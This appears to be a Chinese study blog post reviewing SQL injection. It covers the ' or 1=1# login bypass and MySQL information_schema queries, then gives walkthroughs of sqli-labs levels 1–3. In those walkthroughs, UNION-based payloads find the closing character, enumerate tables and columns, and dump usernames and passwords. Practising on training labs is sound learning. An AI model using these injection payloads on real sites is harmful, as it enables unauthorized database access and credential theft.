前言:
年前学习过sql的知识,现在忘得差不多了,趁这个机会赶紧在复习一下。
1 万能密码
在mysql里面
--
#
他们都代表注释
我们在登陆框内输入账号密码,服务器会在数据库内进行查询,大概是这样
select * FROM user WHERE username= '111' AND password= '222'
假如我们在登录框内的username填写
1' or 1=1#
效果是这样
SELECT * FROM user WHERE username= '1' or 1=1#' AND password= '222'
密码的部分直接被注释了,并且会有一个or的判断,这样就可以绕过了。
2 常用语句
在此之前,我们要知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
查询的目的是让我们排除其他无用的信息,筛选有用的信息。
1 information_schema (元数据库,存储数据库相关信息的数据库)
SELECT schema_name FROM information_schema.schemata
我们可以查询所有数据库的name
SELECT table_name from information_schema.tables where table_schema= 'security'
这个命令比较绕口,就是从information_schema数据库中的tables表里查询 table_schema这个列中名字的是security行相对应的table_name的行名。
接下来我们更进一步
select colum_name from information_schema.columns where
table_schema= 'security' and table_name= 'emails'
有了第一次,第二次就容易理解了。
这是我们查询出来的的内容,我们可以进一步查询该数据库中的内容
比如
select * from emails
select id,email_id from emails
sql-labs(一)
一、判断注入点
我们输入?id=1
先判断下闭合符号,单引号报错
?id=1'
?id=1' --+
说明闭合符号是'
我们可以就可以进行注入了
二、判断列数
?id=1' order by 3 --+
经过测试是有3列
我们试试联合查询
id=-1' union select 1,2,3 --+
这一步的目的是给数据库一个不存在的id,然后看出我们输入的数据在哪里显示出来
这样一来,我们就可以在2,3处显示自己想要的内容了。
三、爆数据库
?id=-1' union select 1,database(),3 --+
database()函数能够获知当前数据库。
四、爆数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
五、爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' --+
六、爆值
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users -- +
其中的0x3a是16进制中的:,目的是便于我们观察
sql-labs(二)
一 判断注入类型
1' and '1'='1
1 and 1=1
看页面回显位的反馈,如果一致,则是字符注入,否则就是数字注入。
所以less02是数字型注入 ,就不用了再添加闭合符号了
其他步骤跟第一关一样,所以我们直接获取账号密码
?id=-1 union SELECT 1,2,(select group_concat(username,0x3a,password) from users)
sql-labs(三)
首先看一下注入类型
是字符注入
先试一下闭合符号
?id=1'
所以闭合符号是
')
其他的步骤一样的,直接上代码了就
?id= -1') union select 1,2,group_concat(username,0x3a,password) from users -- +